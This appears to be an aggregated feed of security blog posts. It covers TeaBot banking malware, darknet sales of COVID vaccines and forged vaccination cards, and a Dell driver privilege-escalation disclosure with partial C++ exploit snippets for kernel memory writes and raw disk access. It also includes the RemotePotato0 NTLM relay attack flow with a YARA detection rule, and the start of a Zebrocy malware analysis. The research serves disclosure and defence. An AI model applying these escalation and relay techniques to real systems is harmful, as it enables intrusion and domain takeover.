Accept-Encoding: gzip, deflate

HTTP/1.1 200 OK
Connection: close
Content-Type: application/json
Server: Rocket
Content-Length: 1205
Date: Tue, 11 May 2021 12:45:30 GMT

[{"application":""},{"application":""},{"application":"com.bankinter.launcher"},{"application":"com.unicredit"},{"application":"com.lynxspa.bancopopolare"}, ... ]

Scattered over multiple C2 servers, we could identify the following targeted applications:

Based on this list, 14 Belgian applications are being attacked through the keylogger module. Since all these applications have a strong device onboarding and authentication flow, the impact of the collected information should be limited.

However, if the applications don’t detect the active keylogger, the malware could still collect any information entered by the user into the app. In this regard, the impact is the same as when someone installs a malicious keyboard that logs all the entered information.

Google Play Protect will protect you

The TeaBot sample is currently not known to spread in the Google Play store. That means victims will need to install it by downloading and installing the app manually. Most devices will have Google Play protect installed, which will automatically block the currently identified TeaBot samples.

Of course, this is a typical cat & mouse game between Google and malware developers, and who knows how many samples may go undetected …


It’s very interesting to see how TeaBot attacks the Belgian financial applications. While they don’t attempt to social engineer a user into a full device onboarding, the malware developers are finally identifying Belgium as an interesting target.

It will be very interesting to see how these attacks will evolve. Eventually all financial applications will have very strong authentication and then malware developers will either have to be satisfied with only stealing credit-card information, or they will have to invest into more advanced tactics with live challenge/responses and active social engineering.

From a development point of view, there’s not much we can do. The Android OS provides the functionality that is abused and it’s difficult to take that functionality away again. Collecting as much information about the device as possible can help in making correct assessments on the risk of certain transactions, but there’s no silver bullet.

Jeroen Beckers
Jeroen Beckers

Jeroen Beckers is a mobile security expert working in the NVISO Software and Security assessment team. He is a SANS instructor and SANS lead author of the SEC575 course. Jeroen is also a co-author of OWASP Mobile Security Testing Guide (MSTG) and the OWASP Mobile Application Security Verification Standard (MASVS). He loves to both program and reverse engineer stuff.

“Fool’s Gold”: Questionable Vaccines, Bogus Results, and Forged Cards

11 May 2021 at 04:01
By: Anne An


Countries all over the world are racing to achieve so-called herd immunity against COVID-19 by vaccinating their populations. From the initial lockdown to the cancellation of events and the prohibition of business travel, to the reopening of restaurants, and relaxation of COVID restrictions on outdoor gatherings, the vaccine rollout has played a critical role in staving off another wave of infections and restoring some degree of normalcy. However, a new and troubling phenomenon is that consumers are buying COVID-19 vaccines on the black market due to the increased demand around the world. As a result, illegal COVID-19 vaccines and vaccination records are in high demand on darknet marketplaces.

The impact on society is that the proliferation of fraudulent test results and counterfeit COVID-19 vaccine records pose a serious threat to public health and spur the underground economyIndividuals undoubtedly long to return to their pre-pandemic routines and the freedom of travel and behavior denied them over the last year. However, the purchase of false COVID-19 test certifications or vaccination cards to board aircraft, attend an event or enter a country endangers themselves, even if they are asymptomatic. It also threatens the lives of other people in their own communities and around the world. Aside from the collective damage to global health, darknet marketplace transactions encourage the supply of illicit goods and services. The underground economy cycle continues as demand creates inventory, which in turn creates supply. In addition to selling COVID-19 vaccines, vaccination cards, and fake test results, cybercriminals can also benefit by reselling the names, dates of birth, home addresses, contact details, and other personally indefinable information of their customers. 

Racing Toward a Fully Vaccinated Society Along with a Growing Underground Vaccine Market

As we commemorate the one-year anniversary of the COVID-19 pandemic, at least 184 countries and territories worldwide have started their vaccination rollouts.[1] The United States is vaccinating Americans at an unprecedented rate. As of May 2021, more than 105 million Americans had been fully vaccinated. The growing demand has made COVID-19 vaccines the new “liquid gold” in the pandemic era.

However, following vaccination success, COVID-19 related cybercrime has increased. COVID-19 vaccines are currently available on at least a dozen darknet marketplaces. Pfizer-BioNTech COVID-19 vaccines (and we can only speculate as to whether they are genuine or a form of liquid “fool’s gold”) can be purchased for as little as $500 per dose from top-selling vendors. These sellers use various channels, such as Wickr, Telegram, WhatsApp and Gmail, for advertising and communications. Darknet listings associated with alleged Pfizer-BioNTech COVID-19 vaccines are selling for $600 to $2,500. Prospective buyers can receive the product within 2 to 10 days. Some of these supposed COVID-19 vaccines are imported from the United States, while others are packed in the United Kingdom and shipped to every country in the world, according to the underground advertisement.

Figure 1: Dark web marketplace offering COVID-19 vaccines

Figure 2: Dark web marketplace offering COVID-19 vaccines

A vendor sells 10 doses of what they claim to be Moderna COVID-29 vaccines for $2,000. According to the advertisement, the product is available to ship to the United Kingdom and worldwide.

Figure 3: Dark web marketplace offering COVID-19 vaccines

Besides what are claimed to be COVID-19 vaccines, cybercriminals offer antibody home test kits for $152 (again, we do not know whether they are genuine or not). According to the advertisement, there are various shipping options available. It costs $41 for ‘stealth’ shipping to the United States, $10.38 to ship to the United Kingdom, and $20 to mail the vaccines internationally.

Figure 4: Dark web marketplace offering COVID-19 test kits

Proof of Vaccination in the Underground Market

On the darknet marketplaces, the sales of counterfeit COVID-19 test results and vaccination certificates began to outnumber the COVID vaccine offerings in mid-April. This shift is most likely because COVID-19 vaccines are now readily available for those who want them. People can buy and show these certificates without being vaccinated. A growing number of colleges will require students to have received a COVID-19 vaccine before returning to in-person classes by this fall.[2] Soon, COVID-19 vaccination proof is likely to become a requirement of some type of “passport” to board a plane or enter major events and venues.

The growing demand for proof of vaccination is driving an illicit economy for fake vaccination and test certificates. Opportunistic cybercriminals capitalize on public interest in obtaining a COVID-19 immunity passport, particularly for those who oppose COVID-19 vaccines or test positive for COVID-19 but want to return to school or work, resume travel or attend a public event. Counterfeit negative COVID-19 test results and COVID-19 vaccination cards are available for sale at various darknet marketplaces. Fake CDC-issued vaccination cards are available for $50. One vendor offers counterfeit German COVID-19 certificates for $23.35. Vaccination cards with customized information, such as “verified” batch or lot numbers for particular dates and “valid” medical and hospital information, are also available for purchase.

One darknet marketplace vendor offers to sell a digital copy of the COVID-19 vaccination card with detailed printing instructions for $50.

Figure 5: Dark web marketplace offering COVID-19 vaccination cards

One vendor sells CDC vaccination cards for $1,200 and $1,500, as seen in the following screenshot. These cards, according to the advertisement, can be personalized with details such as the prospective buyer’s name and medical information.

Figure 6: Dark web marketplace offering COVID-19 vaccination cards

Other darknet marketplace vendors offer fake CDC-issued COVID-19 vaccination card packages for $1,200 to $2,500. The package contains a PDF file that buyers can type and print, as well as personalized vaccination cards with “real” lot numbers, according to the advertisement. Prospective buyers can pay $1,200 for blank cards or $1,500 for custom-made cards with valid batch numbers, medical and hospital details.

Figure 7: Dark web marketplace offering COVID-19 vaccination cards

One vendor offers counterfeit negative COVID-19 test results and vaccine passports to potential buyers.

Figure 8: Dark web marketplace offering negative COVID-19 test results and vaccination cards

A seller on another dark web market sells five counterfeit German COVID-19 certificates for $23.35. According to the advertisement below, the product is available for shipping to Germany and the rest of the world.

Figure 9: Dark web marketplace offering German COVID-19 vaccination certificates


The proliferation of fraudulent test results and counterfeit COVID-19 vaccine records on darknet marketplaces poses a significant threat to global health while fueling the underground economyWhile an increasing number of countries begin to roll out COVID-19 vaccines and proof of vaccination, questionable COVID vaccines and fake proofs are emerging on the underground market. With the EU and other jurisdictions opening their borders to those who have received vaccinations, individuals will be tempted to obtain false vaccination documents in their drive to a return to pre-pandemic normalcy that includes summer travel and precious time with missed loved ones. Those who buy questionable COVID-19 vaccines or forged vaccination certificaterisk their own lives and the lives of others. Apart from the harm to global health, making payments to darknet marketplaces promotes the growth of illegal products and services. The cycle of the underground economy continues as demand generates inventory, which generates supply. These are the unintended consequences of an effective global COVID vaccine rollout. 

[1] https[:]//

[2] https[:]//

The post “Fool’s Gold”: Questionable Vaccines, Bogus Results, and Forged Cards appeared first on McAfee Blogs.

Lemon Duck spreads its wings: Actors target Microsoft Exchange servers, incorporate new TTPs

By Caitlin Huey and Andrew Windsor with contributions from Edmund Brumaghin. Lemon Duck continues to refine and improve upon their tactics, techniques and procedures as they attempt to maximize the effectiveness of their campaigns.Lemon Duck remains relevant as the operators begin to target...

[[ This is only the beginning! Please visit the blog for the complete entry ]]

Threat Roundup for April 30 to May 7

Today, Talos is publishing a glimpse into the most prevalent threats we've observed between April 30 and May 7. As with previous roundups, this post isn't meant to be an in-depth analysis. Instead, this post will summarize the threats we've observed by highlighting key behavioral characteristics,...

[[ This is only the beginning! Please visit the blog for the complete entry ]]

Talos Takes Ep. #52: Celebrating World Password Day by talking about getting rid of passwords

By Jon Munshaw. The latest episode of Talos Takes is available now. Download this episode and subscribe to Talos Takes using the buttons below, or visit the Talos Takes page. The internet celebrated World Password Day on Thursday. To celebrate, we had Dave Lewis on the latest episode of Talos...

[[ This is only the beginning! Please visit the blog for the complete entry ]]

Threat Source Newsletter (May 6, 2021)

 Newsletter compiled by Jon Munshaw. Good afternoon, Talos readers.   COVID-19 has changed everything about our lives — no surprise there. So it also shouldn't be shocking that it's changing the way Americans view Tax Day this year. The deadline to file taxes is about a month later...

[[ This is only the beginning! Please visit the blog for the complete entry ]]

Vulnerability Spotlight: Use-after-free vulnerability in Foxit PDF Reader

Aleksandar Nikolic of Cisco Talos discovered this vulnerability. Blog by Jon Munshaw.  Cisco Talos recently discovered a use-after-free vulnerability in the Foxit PDF Reader.   Foxit PDF Reader is one of the most popular PDF document readers currently available. As a complete...

[[ This is only the beginning! Please visit the blog for the complete entry ]]

CVE-2021-21551- Hundreds Of Millions Of Dell Computers At Risk Due to Multiple BIOS Driver Privilege Escalation Flaws

4 May 2021 at 12:55

Executive Summary

  • SentinelLabs has discovered five high severity flaws in Dell’s firmware update driver impacting Dell desktops, laptops, notebooks and tablets.
  • Attackers may exploit these vulnerabilities to locally escalate to kernel-mode privileges.
  • Since 2009, Dell has released hundreds of millions of Windows devices worldwide which contain the vulnerable driver.
  • SentinelLabs findings were proactively reported to Dell on Dec 1, 2020 and are tracked as CVE-2021-21551, marked with CVSS Score 8.8.
  • Dell has released a security update to its customers to address this vulnerability.
  • At this time, SentinelOne has not discovered evidence of in-the-wild abuse.


Several months ago, I started investigating the security posture of the firmware update driver version 2.3 (dbutil_2_3.sys) module, which seems to have been in use since at least 2009. Today, the firmware update driver component, which is responsible for Dell Firmware Updates via the Dell Bios Utility, comes pre-installed on most Dell machines running Windows and freshly installed Windows machines that have been updated. Hundreds of millions of Dell devices have updates pushed on a regular basis, for both consumer and enterprise systems.

The driver came to my attention thanks to Process Hacker, which has a great feature that pops up a notification message every time a service gets created or deleted:

This led to the discovery of five high severity bugs that have remained undisclosed for 12 years. These multiple high severity vulnerabilities in Dell software could allow attackers to escalate privileges from a non-administrator user to kernel mode privileges. Over the years, Dell has released BIOS update utilities which contain the vulnerable driver for hundreds of millions of computers (including desktops, laptops, notebooks, and tablets) worldwide.

Dell has assigned one CVE to cover all the flaws in the firmware update driver, but this single CVE can be broken down to the following five separate flaws:

  • CVE-2021-21551: Local Elevation Of Privileges #1 – Memory corruption
  • CVE-2021-21551: Local Elevation Of Privileges #2 – Memory corruption
  • CVE-2021-21551: Local Elevation Of Privileges #3 – Lack of input validation
  • CVE-2021-21551: Local Elevation Of Privileges #4 – Lack of input validation
  • CVE-2021-21551: Denial Of Service – Code logic issue

In today’s post, I will describe some of the general problems with this driver. However, to enable Dell customers the opportunity to remediate this vulnerability, we are withholding sharing our Proof of Concept until June 1, 2021. That proof of concept will demonstrate the first local EOP which arises out of a memory corruption issue.

Technical Details

The first and most immediate problem with the firmware update driver arises out of the fact that it accepts IOCTL (Input/Output Control) requests without any ACL requirements. That means that it can be invoked by a non-privileged user:

2: kd> !devobj ffffae077fb47820
Device object (ffffae077fb47820) is for:
 DBUtil_2_3 \Driver\dbutil DriverObject ffffae0782dbce30
Current Irp 00000000 RefCount 1 Type 00009b0c Flags 00000048
SecurityDescriptor ffffd70bdb4f4160 DevExt ffffae077fb47970 DevObjExt ffffae077fb47a10
ExtensionFlags (0x00000800)  DOE_DEFAULT_SD_PRESENT
Characteristics (0000000000)
Device queue is not busy.
2: kd> !sd ffffd70bdb4f4160 0x1
->Dacl    : ->Ace[0]: ->AceType: ACCESS_ALLOWED_ACE_TYPE
->Dacl    : ->Ace[0]: ->AceFlags: 0x0
->Dacl    : ->Ace[0]: ->AceSize: 0x14
->Dacl    : ->Ace[0]: ->Mask : 0x001201bf
->Dacl    : ->Ace[0]: ->SID: S-1-1-0 (Well Known Group: localhost\Everyone)

Allowing any process to communicate with your driver is often a bad practice since drivers operate with the highest of privileges; thus, some IOCTL functions can be abused “by design”.

The firmware update driver exposes many functions via IRP_MJ_DEVICE_CONTROL. The most obvious bug to exploit gives you an extremely powerful primitive. Via IOCTL 0x9B0C1EC8, it is possible to completely control the arguments passed to memmove, thus, allowing an arbitrary read/write vulnerability:

A classic exploitation technique for this vulnerability would be to overwrite the values of Present and Enabled in the Token privilege member inside the EPROCESS of the process whose privileges we want to escalate:

   +0x000 Present          : Uint8B
   +0x008 Enabled          : Uint8B
   +0x010 EnabledByDefault : Uint8B

This can be triggered and exploited quite simply:

struct ioctl_input_params {
	uint64_t padding1;
	uint64_t address;
	uint64_t padding2;
	uint64_t value_to_write;

static constexpr uint64_t MASK_TO_WRITE = MAXULONGLONG;

DWORD bytesReturned = 0;

ioctl_input_params privilege_present_params{ 0 };
privilege_present_params.address = presentAddress;
privilege_present_params.value_to_write = MASK_TO_WRITE;

DeviceIoControl(hDevice, EXPLOITABLE_RW_CONTROL_CODE, &privilege_present_params,
	sizeof(privilege_present_params), &privilege_present_params, sizeof(privilege_present_params), &bytesReturned, NULL);

ioctl_input_params privilege_enabled_params{ 0 };
privilege_enabled_params.address = enabledAddress;
privilege_enabled_params.value_to_write = MASK_TO_WRITE;

DeviceIoControl(hDevice, EXPLOITABLE_RW_CONTROL_CODE, &privilege_enabled_params,
	sizeof(privilege_enabled_params), &privilege_enabled_params, sizeof(privilege_enabled_params), &bytesReturned, NULL);

Another interesting vulnerability in this driver is one that makes it possible to run I/O (IN/OUT) instructions in kernel mode with arbitrary operands (LPE #3 and LPE #4). This is less trivial to exploit and might require using various creative techniques to achieve elevation of privileges.

Since IOPL (I/O privilege level) equals to CPL (current privilege level), it is obviously possible to interact with peripheral devices such as the HDD and GPU to either read/write directly to the disk or invoke DMA operations. For example, we could communicate with ATA port IO for directly writing to the disk, then overwrite a binary that is loaded by a privileged process.

The following code illustrates direct read/write using ATA port IO and shows how to invoke those IOCTLs (IN/OUT wrappers are abstracted):

void port_byte_out(unsigned short port, unsigned char payload) {
	unsigned char data[16] = { 0 };
	*((unsigned long *)((unsigned char *)data)) = port;
	*((unsigned char *)((unsigned char *)data + 4)) = payload;
	bResult = DeviceIoControl(hDevice, IOCTL_BYTE_OUT, data, sizeof(data), data, sizeof(data), &junk, NULL);
	if (!bResult) {
		printf("error in port_byte_out: %x\r\n", GetLastError());

unsigned char port_byte_in(unsigned short port) {
	unsigned char data[16] = { 0 };
	*((unsigned long *)((unsigned char *)data)) = port;
	bResult = DeviceIoControl(hDevice, IOCTL_BYTE_IN, data, sizeof(data), data, sizeof(data), &junk, NULL);
	if (!bResult) {
		printf("error in port_byte_in: %x\r\n", GetLastError());
	return data[0];

Writing directly to the HDD without creating an IRP for that disk write basically bypasses all security mechanisms in the operating system and allows an attacker to write to any sector on the disk.

For example, here is code from the LearnOS repository that takes advantage of IN/OUT instructions for direct HDD writing:

void write_sectors_ATA_PIO(uint32_t LBA, uint8_t sector_count, uint32_t* bytes) {
	port_byte_out(0x1F6,0xE0 | ((LBA >>24) & 0xF));
	port_byte_out(0x1F3, (uint8_t) LBA);
	port_byte_out(0x1F4, (uint8_t)(LBA >> 8));
	port_byte_out(0x1F5, (uint8_t)(LBA >> 16)); 
	port_byte_out(0x1F7,0x30); //Send the write command

	for (int j =0;j<sector_count;j++) {
		for(int i=0;i<256;i++) {
			port_long_out(0x1F0, bytes[i]);

Interestingly, unrelated to the IOCTL handler bugs, the driver file itself is located in C:\Windows\Temp, which is also a bug itself and opens the door to other issues. The classic way to exploit this would be to transform any BYOVD (Bring Your Own Vulnerable Driver) into an Elevation of Privileges vulnerability since loading a (vulnerable) driver means you require administrator privileges, which essentially eliminates the need for a vulnerability. Thus, using this side noted vulnerability virtually means you can take any BYOVD to an Elevation of Privileges.

Proof of Concept

Here you can see a proof-of-concept to demonstrate the first LPE due to memory corruption:

Click to play


The high severity flaws could allow any user on the computer, even without privileges, to escalate their privileges and run code in kernel mode. Among the obvious abuses of such vulnerabilities are that they could be used to bypass security products.

An attacker with access to an organization’s network may also gain access to execute code on unpatched Dell systems and use this vulnerability to gain local elevation of privilege. Attackers can then leverage other techniques to pivot to the broader network, like lateral movement.


This vulnerability and its remedies are described in Dell Security Advisory DSA-2021-088. We recommend Dell customers, both enterprise and consumer, to apply the patch as soon as possible.

While Dell is releasing a patch (a fixed driver), note that the certificate was not yet revoked (at the time of writing). This is not considered best practice since the vulnerable driver can still be used in a BYOVD attack as mentioned earlier. Please see the Dell Security Advisory for complete remediation details.


These high severity vulnerabilities, which have been present in Dell devices since 2009, affect hundreds of millions of devices and millions of users worldwide. Similar to a previous vulnerability I disclosed that hid for 12 years, the impact this could have on users and enterprises that fail to patch is far reaching and significant.

While we haven’t seen any indicators that these vulnerabilities have been exploited in the wild up till now, with hundreds of million of enterprises and users currently vulnerable, it is inevitable that attackers will seek out those that do not take the appropriate action. Our reason for publishing this research is to not only help our customers but also the community to understand the risk and to take action.

We would like to thank Dell for their approach to our disclosure and for remediating the vulnerabilities.

Disclosure Timeline

1, Dec, 2020 – Initial report
2, Dec, 2020 – Dell replied with ticket numbers
8, Dec, 2020 – Dell requested more information
9, Dec, 2020 – Dell request additional information
22, Dec, 2020 – Dell replied that a fix should be available in mid April
12, Jan, 2021 – Dell replied that some of the vulnerabilities will not be fixed since the product is EOL
27, Jan, 2021 – Dell requested more time
16, Mar, 2021 – Dell updated that they are cooperating with Microsoft and a fix should be available by the end of April
29, Mar, 2021 – Dell requested more time, confirmed that an update should be available by the end of April
22, Apr, 2021 – Dell initiated a zoom conference call to discuss the blog post release
04, May, 2021 – Initial research released to the public

The post CVE-2021-21551- Hundreds Of Millions Of Dell Computers At Risk Due to Multiple BIOS Driver Privilege Escalation Flaws appeared first on SentinelLabs.

Relaying Potatoes: Another Unexpected Privilege Escalation Vulnerability in Windows RPC Protocol

26 April 2021 at 15:03

By Antonio Cocomazzi and Andrea Pierini

Executive Summary

  • Every Windows system is vulnerable to a particular NTLM relay attack that could allow attackers to escalate privileges from User to Domain Admin.
  • The current status of this vulnerability is “won’t fix”.
  • Enterprise security teams are encouraged to follow the recommendations and mitigations given below.


NTLM relaying [1] is a well known technique that has long been abused by attackers. Despite the continuous “fixes” from 2001 onwards, it is still possible in a MITM scenario, for certain protocols where signing is not enabled, to intercept the NTLM messages and to “relay” the authentication to a target resource in order to elevate privileges. Normally, NTLM relays need user intervention, so you have to trick the victim to authenticate to a resource under your control.

In recent years [2] [3] [4], we conducted research into the so-called “DCOM DCE/RPC Local NTLM Reflection”, in particular when it comes to negotiating locally a SYSTEM token and impersonating it, thus leading to an elevation from a SERVICE account to SYSTEM.

Despite recent fixes, it is still possible under certain conditions to negotiate a highly privileged token and to impersonate it during the unmarshalling process of initializing a DCOM object, identified by particular CLSID, via the IStorage Object trigger [5].

During our earlier research, where we implemented a “fake” Oxid Resolver instructing the DCOM client to connect to a RPC Server under our control, we observed that two interesting NTLM authentications took place:

  1. Oxid Resolution (IObjectExporter::ResolveOxid2 call)
  2. IRemUnknown Interface  (IRemUnknown2::RemRelease call)

We decided to investigate the possibility of relaying these authentications to a different resource on a remote machine such as LDAP, SMB, and HTTP instead of stealing the token which requires the impersonation privileges.

First of all, we needed a “usable” authentication, possibly coming from highly privileged users like “Domain Admins” and so on. Some particular CLSID, belonging to application identifiers (AppId) which run under the context of the “Interactive User” can come to the rescue, because they “impersonate” the logged on user in the first session when instantiated in session 0. This is really cool because no victim user interaction is required!

The basic idea was that a standard user could trigger the privileged authentication without the victim’s interaction and relay it to a privileged service on another machine, e.g. ldap server, in order to elevate the user privileges.

In order to understand if there was a potential exploitation path, we needed to answer the following questions:

  • Does the RPC client sign (and check) the NTLM messages?
  • Could the RPC authentication be relayed in this particular cross protocol scenario?

In this post, we will go through the process of how we discovered answers to those questions and, step-by-step, show how we achieved an exploitation path. We went through a lengthy process of responsible disclosure with Microsoft before publishing. Although Microsoft considers the vulnerability an important privilege escalation, it has been classified as “Won’t Fix”.

The NTLM Auth Messages

Our idea was to use one of two authentications as described above. The first one (IObjectExporter::ResolveOxid2) seemed unpromising because the NTLM “Sign flag” was set and we were not sure if the upper layer protocols would consider it or not.

The second one (IRemUnknown2::RemRelease) met our expectations, and the flag was not set (more on this later…):

Now that we knew which authentication to use, the next step was to trigger and intercept it.

The RPC Trigger

It all started from this article [6] by James Forshaw, in which he discovered a way to abuse the the DCOM activation service by unmarshalling an IStorage object and reflecting the NTLM back to a local RPC TCP endpoint to achieve a local privilege escalation. While this vulnerability has been patched, the DCOM activation service was (and still is) a working trigger for RPC authentications.

This is still the trigger of all the “*potato” exploits in order to escalate privileges by leveraging the impersonation privileges.

Nowadays, those exploits focus on stealing a token from a privileged service (usually those running as SYSTEM are of interest), but we know that some CLSID (a way to identify COM class objects) impersonate the user connected to the first Session outside Session 0. [7]

If we have a shell in Session 0, even as a low privileged user, and trigger these particular CLSIDs, we will obtain an NTLM authentication from the user who is interactively connected (if more than one user is interactively connected, we will get that of the user with lowest session id).

So our hypothetical scenario could be the following:

  1. A compromised account with a shell in Session 0. This could be:
    • A low privileged user who can connect to the machine via WinRM-PSSession [8] or ssh [9]
    • A low privileged user who has been granted “Logon as a batch job” rights so that he can create and then run scheduled tasks with the property “Run the task whether the user is logged in or not” from an interactive session on this machine (local or via RDP)
    • A service account even running under a Hardened Virtual Account (e.g., without impersonation privileges [10]).
  2. A highly privileged user logged on to the same machine (local or via RDP)

With that in mind, we focused on analyzing all the “vulnerable” CLSID that we could use to trigger this authentication. These are the ones we found on a Windows Server 2019:

  • BrowserBroker Class
  • AuthBrokerUI
  • Easconsent.dll
  • Authentication UI CredUI Out of Proc Helper for Non-AppContainer Clients
  • UserInfoDialog
  • CLSID_LockScreenContentionFlyout
  • Picker Host
  • IsolatedMessageDialogFactory
  • SPPUIObjectInteractive Class
  • CastServerInteractiveUser

Finding an Exploitation Path

Having found a perfect RPC trigger, we started to prepare all the pieces of our possible exploitation scenario.

First, we wanted to understand if we could relay this authentication in a cross protocol scenario, so we wrote a cpp POC that performs a MITM between an RPC authentication and relay over an HTTP server that requires authentication, and guess what? It worked!

We were able to browse protected files on the webserver on behalf of the user who authenticated to our RPC server.

This was the workflow implemented in our MITM:

Once we identified that our RPC authentication could be relayed in a cross protocol scenario, we put together the final exploitation path:

  1. An attacker has a shell in Session 0 on the “victim” machine with a low privileged account;
  2. On this machine a privileged user, like a Domain Admin, is logged on interactively;
  3. The attacker triggers the DCOM activation service by unmarshalling an IStorage object, calling CoGetInstanceFromIstorage with one of the CLSIDs that impersonate the user logged on interactively and setting the IP of the attacker machine for Oxid resolution requests;
  4. The attacker implements a MITM by just listening on port 135 on his machine, which will receive the IObjectExporter::ResolveOxid2 authenticated call and be forwarded to the “fake” Oxid resolver. Even if this call is authenticated, the NTLM “Sign flag” is set so it will be skipped;
  5. The fake Oxid resolver returns a string binding for an RPC endpoint under the attacker’s control;
  6. The victim machine/user will make an authenticated call IRemUnknown2::RemRelease contacting the RPC server (without the Sign flag set);
  7. Authentication will be relayed to a privileged resource such as LDAP, SMB, HTTP or other.Here we had two paths that we could have followed:
    1. Implement in ntlmrelayx a “minimalistic” RPC server with the impacket libs [11].
    2. Encapsulate and forward the authentication in a protocol already implemented and supported in ntlmrelayx[12], e.g. HTTP.
  8. We chose the second path and implemented the whole logic of the MITM and HTTP encapsulator in a POC (RemotePotato0). We then forwarded everything to ntlmrelayx and let it do the job by targeting the LDAP server running on the Domain Controller and adding a new domain admin (or elevate user privileges).

The following schema shows the entire attack flow:

Dealing with Signing Restrictions

Now that exploitation was successful, we tried to understand why the “Sign” flag was not set in IRemUnknown2 calls.

After several tests, we discovered that the poisoned response we give back from our fake Oxid Resolver could influence the setting of the “Sign” flag. One of the fields returned by the Oxid resolver is the security bindings which tell the client which security provider is to be used with the authentication (AuthnSvc).

MSRPC (Microsoft implementation of DCE/RPC protocol) supports a variety of “Security Providers”, including NTLM.

This is a list of the available security providers:

If the provider is set to NTLM (RPC_C_AUTHN_WINNT), it won’t enforce the signing; if set to SPNEGO (RPC_C_AUTHN_GSS_NEGOTIATE), it will. And this is what we did in order to use the correct provider in our poisoned response code:


We also know that in order to perform these types of attacks, the “Authentication Level” should be RPC_AUTHN_LEVEL_CONNECT (0x2) because this defines an authentication mechanism without enforcing encryption/signing. We can define this kind of RPC authentication as “weak” and potentially vulnerable to relay attacks.

In our ResolveOxid2, we can control this behavior by setting the desired authentication level in pAuthnHint parameter, which returns the minimum accepted authentication level of the object exporter.

error_status_t ResolveOxid2
    handle_t        hRpc,
    OXID* pOxid, 
    unsigned short  cRequestedProtseqs, 
    unsigned short  arRequestedProtseqs[],
    DUALSTRINGARRAY** ppdsaOxidBindings,
    IPID* pipidRemUnknown, 
    DWORD* pAuthnHint, 
    COMVERSION* pComVersion

And the client will make a call to the IRemUnkown2 interface at least with this level of authentication.

Note: if we set a higher value for the authentication level in the pAuthnHint parameter, for example RPC_C_AUTHN_LEVEL_PKT (0x4), the “Sign” flag will be set again!

Dealing with MIC Restrictions

We also performed a relaying test with SMB protocol on servers where signing was not enabled, and of course it worked, too.

We only ran into trouble with one particular CLSID: {c58ca859-80bc-48df-8f06-ffa94a405bff}, when trying to relay because of the “BAD IMPERSONATION LEVEL”.

In this case, the NTLM “Identify” flag was set in the IRemUnknown2 call (which means that the server should not impersonate the client) and was taken into consideration by SMBv2 protocol.

But what if we alter this flag during our MITM operations? We tried to unset the flag in the forwarded NTLM type 1 message:

and reset it in the NTLM type 2 response message:

A quick test demonstrated that it worked!

Some days after, Microsoft released the November 2020 security patches and magically it stopped working. The SMB handshakes always ended up with a generic “INVALID PARAMETER” which was triggered by an invalid NTLM authentication.

After some testing, we discovered that the root cause was the Message Integrity Check (MIC). It  seemed to be always checked, even if the NTLM “Sign” flag was not set [13], thus altering the NTLM messages led to a signature mismatch.

The Proof Of Concept

We have released a POC of the RemotePotato0 attack here:

Below you can see a quick demonstration:

Mitigations & Detection

Given that Microsoft will not release an official patch, some mitigation by hardening your servers should be undertaken.

For HTTP(S), you should remove all non-TLS-protected HTTP bindings (prefer SSL everywhere, particularly where NTLM is used) and configure Channel Binding Tokens validation by setting the tokenChecking attribute to a minimum of Allow (if not Require) as documented here.

For LDAP, you should set the Domain controller: LDAP server signing requirements Group Policy to Require signature for non-LDAPS LDAP connections as documented here.

In addition, you should also set the Domain controller: LDAP server channel binding token requirements Group Policy to a minimum of When Supported (if not Always) as documented here.

For SMB, you should configure SMB Signing by setting the Group Policy Digitally sign server communication (always) as documented here.

We have also released a YARA rule to detect RemotePotato0:

rule SentinelOne_RemotePotato0_privesc {
        author = "SentinelOne"    
        description = "Detects RemotePotato0 binary"
        reference = ""   
    	$import1 = "CoGetInstanceFromIStorage"
        $istorage_clsid = "{00000306-0000-0000-c000-000000000046}" nocase wide ascii    
        $meow_header = { 4d 45 4f 57 }
        $clsid1 = "{11111111-2222-3333-4444-555555555555}" nocase wide ascii
        $clsid2 = "{5167B42F-C111-47A1-ACC4-8EABE61B0B54}" nocase wide ascii
         (uint16(0) == 0x5A4D) and $import1 and $istorage_clsid and $meow_header and 1 of ($clsid*)


We successfully demonstrated how it was possible to trigger an authenticated RPC/DCOM call and relay the NTLM authentication to other protocols. This is different from other known techniques such as CVE-2020-1113 [14] and CVE-2021-1678 [15], where relaying happens between a generic “client” protocol vs. an RPC server. In this case, we had an RPC client whose authentication was relayed to other “server” protocols and without “victim” interaction. Therefore, we hope that MS reconsider their decision not to fix this serious vulnerability.

Disclosure Timeline

11/30/2020 – Submitted vulnerability to MSRC case 62293
12/29/2020 – Microsoft confirmed vulnerability as Important - Elevation of Privilege
1/7/2021 – We informed Microsoft that full details about this issue would have been published after 90 days since our first notification
1/7/2021 – Microsoft asked to keep this issue confidential until 13th of April 2021 (135 days after our first notification) and that a fix was scheduled for that day
2/10/2021 – We agreed to keep this issue confidential as per Microsoft’s request
Mar-Apr/2021 – Sent multiple notifications in order to understand if the fix would be released on the agreed date
4/6/2021 – Microsoft informed us that a security fix would not be released on the 13th of April. No commitment for an exact date for a fix
4/13/2021  – Microsoft informed us that, after an extensive review, they determined that “Servers must defend themselves against NTLM relay attacks” (side note: setting the sign flag in NTLM provider as well as SPNEGO would have inhibited this exploit…)
4/26/2021 – Disclosing this issue



The post Relaying Potatoes: Another Unexpected Privilege Escalation Vulnerability in Windows RPC Protocol appeared first on SentinelLabs.

A Deep Dive into Zebrocy’s Dropper Docs

19 April 2021 at 17:02

Contributor: Amitai Ben Shushan Ehrlich

Sofacy is an APT threat actor that’s been around since 2008 and rose to prominence with the election hacks of 2016. Better known as FancyBear or APT28, this threat actor targets governments, military, and private organizations and has been known to engage in hack-and-leak operations. In the past couple of years, Sofacy has drastically retooled and largely evaded analysts. One of the more consistent subgroups is known as Zebrocy. Their targeting appears primarily focused on former Soviet Republics and, more recently, Asia.

In March 2021, we observed a cluster of activities targeting Kazakhstan with Delphocy – malware written in Delphi and previously associated with Zebrocy. The Word documents that were observed purport to be from a Kazakhy company named Kazchrome, a mining and metal company and one of the world’s largest producers of chrome ore and ferroalloys.

In total, we found six Delphocy Word documents that appear to be related to this cluster, all of which contain the same VBA script that drops a PE. Out of the six Word documents, two appear to be authentic uploads to VirusTotal by victims originating from Kazakhstan. The uploaded files contain what appeared to be the original filenames Авансовый отчет(новый).doc and Форма докладной (служебной) записки.doc.

In this post, we take a deep dive into these samples and share some techniques other analysts can employ to reverse engineer Delphocy dropper docs. We show how researchers can bypass password-protected macros and describe both how to decompile Delphi using IDR (Interactive Delphi Reconstructor) and how to import the saved IDC file into Ghidra using dhrake’s plugin.

The results of our analysis led us to discover further Zebrocy clusters; a list of IOCs and YARA detection rules are provided to enable threat hunters to search for these and related artifacts in their environments.

